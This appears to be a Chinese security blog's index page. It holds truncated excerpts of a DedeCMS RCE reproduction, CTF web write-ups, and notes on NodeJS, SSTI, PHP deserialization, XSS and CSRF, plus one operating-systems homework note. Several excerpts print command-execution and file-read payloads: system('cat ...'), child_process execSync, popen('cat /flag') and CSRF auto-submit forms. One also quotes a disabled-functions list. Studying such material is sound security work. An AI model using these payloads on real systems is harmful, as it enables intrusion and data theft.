dedecms 5.7.85 后台RCE漏洞复现
漏洞简介织梦CMS在1月12日修复几个高危漏洞,之前逛博客看到是Yu22x挖到的这个洞,今天刚好复现下这个漏洞
影响范围dedecms 5.7.85 https://www.dedecms.com/download
漏洞分析根据官方补丁,修复了如下两处插件功能的漏洞,下载下来本地对比分析。
plus/ad_js.php
很明显可以看到,右边补丁新增了对$adbody的内容进行过滤,那么看下这个$adbody接下来有何用处。
123456789101112131415global $cfg_disable_funs;$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite' ...
2021年安徽省首届‘追日杯’-wp
安徽省内的比赛,拿了第二
web伊泽瑞尔的php原题:https://www.cnblogs.com/nul1/p/11516783.html
根据robots.txt找到.index.php.swp代码被混淆了,通过输出$C然后代码格式化得
12345678910111213141516171819202122232425262728293031$k="25ed1bcb";$kh="423b0b7200f4";$kf="85fc5ff71c8e";$p="niGqOXD4rBhBWZ7t";function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for ($i=0;$i<$l;) { for ($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t { $i } ^$k { $j & ...
2021年第七届湖湘杯WEB-wp
Web1 easywill题目没有给源码,根据描述从网上下一份easywillV2.1.5(https://gitee.com/willphp/willphpv2/tree/808b3a36d366f66a88fd130cc6514c20eaf15450/)
首页中assign可控两个参数,其中根据view函数发现覆盖变量cfile
尝试session包含
Exp
12345678910111213141516171819202122232425262728293031323334353637# coding=utf-8import ioimport requestsimport threadingsessid = 'flag'data = {"cmd": "system('cat /ffffffff14ggggggg3');"}url = "http://eci-2zec2ffu8ckzf0eggcpe.cloudeci1.ichunqiu.com/index.php&qu ...
NodeJS学习笔记
前言刷完了ctfshow上面的所有NodeJS题目,总结一下便于以后翻看。
常用命令12__filename 读当前文件位置__dirname 当前文件目录
读取文件123?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')?eval=require('fs').readFileSync('fl001g.txt','utf-8')
列目录1?eval=require('fs').readdirSync('.')
命令执行123456789?eval=require( 'child_process').execSync( 'ls' )?eval=require('child_process').execSync('ls').toString()?eval=require( ...
操作系统的学习笔记
操作系统-学习系统系统 进程状态转化作业 进程控制(一)(1)某操作系统有如下状态变化图:
请说明发生1~4的状态变化的具体原因
① 进程由就绪状态到运行状态是由于调度程序的调度引起的
② 进程由运行状态到就绪状态是由于时间片用完引起的
③ 进程由运行状态到阻塞状态是由于等待事件引起的如(等待I/O传输队列)
④ 进程由阻塞状态到就绪状态是由于I/O完成或者等待的事件发生引起的
(2)编写程序创建如下图所示的进程树。
在Linux下可以使用C语言中的fork
代码:
12345678910111213141516171819202122232425262728293031323334353637383940414243#include<stdio.h>#include<unistd.h>int main() { int pid,ppid; int ret=fork(); if(ret>0) { pid=getpid(); ppid=getppid(); printf("我是A进程,pid=%d , ...
2021年第二届祥云杯WEB-wp
ezyii入口点:
RunProcess.php中
1234public function __destruct(){ $this->stopProcess();}
stopProcess中
1234567public function stopProcess(){ foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue;}
这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发DefaultGererator的__call
12345678class DefaultGenerator{ protected $default; ...
php反序列化难题记录
前言刷的ctfshow的题目,记录不容易想到的题。
web259没有给任何类,但有反序列化函数,考察的就是php原生类的利用了,具体有哪些原生类可以翻下之前php反序列化总结的那篇
需要在php.in 中开启extension=soap
1234567<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
12345678910111213141516flag.php<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){ die('error');}else{ $token = $_POST[' ...
常见SSTI的bypass
常用payload
12"".__class__.__bases__[0] 是找到<class 'object'>"".__class__.__mro__也能找<class 'object'>
常用payload
1{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /flag').read() }}
1{{ session['__cla'+'ss__'].__bases__[0].__base ...
java-sec-code学习之XSS
前言项目是java-sec-code:https://github.com/JoyChou93/java-sec-code
XSS一般是将恶意的JavaScript代码植入html里面,导致访问请求的时候会造成JavaScript代码的执行,主要的有存储形XSS、反射形XSS、DOM形XSS。
看下具体的实例
0X00 从java代码出发进入controller文件
/src/main/java/org/joychou/controller/XSS.java
先看第一个反射形的。
29行代码可以看出,接收一个参数xss,并直接将xss返回。示例:弹出当前页面存储的cookie
再来看下存储形的。
43行代码:将接收到的XSS参数,存储在cookie里面,并非我们常见的将数据存储在数据库里面。
然后通过/stored/show 将存储在cookie里面键名为xss的值返回到页面上。
一般来说存储形XSS是存在数据库里面,导致访问该页面的用户都有可能会造成蠕虫攻击,而这种人为存储在cookie里面的,利用范围比较小吧,没有什么实际意义。
0X01 修复
将接收的参数进行字符 ...
java-sec-code学习之CSRF
前言项目是java-sec-code:https://github.com/JoyChou93/java-sec-code
CSRF一般指跨站请求伪造(Cross-site request forgery),当某个接口没有设置CSRF验证,点击了别人恶意的链接,可能会造成对这个接口发送相应的数据,造成某个数据被更改。
看下具体实例。
GET类型的CSRF利用十分简单,构造一个IMG标签,加载的时候即可发送一个恶意get请求
1<img src=https://blog.mi-di.cn/csrf?xx=11 />
POST类型CSRF构造一个表单自动提交,可以使用ajax触发事件去自动提交。
1234<form action=http://blog.mi-di.cn/csrf.php method=POST><input type="text" name="xx" value="11" /></form><script> document.forms[0].subm ...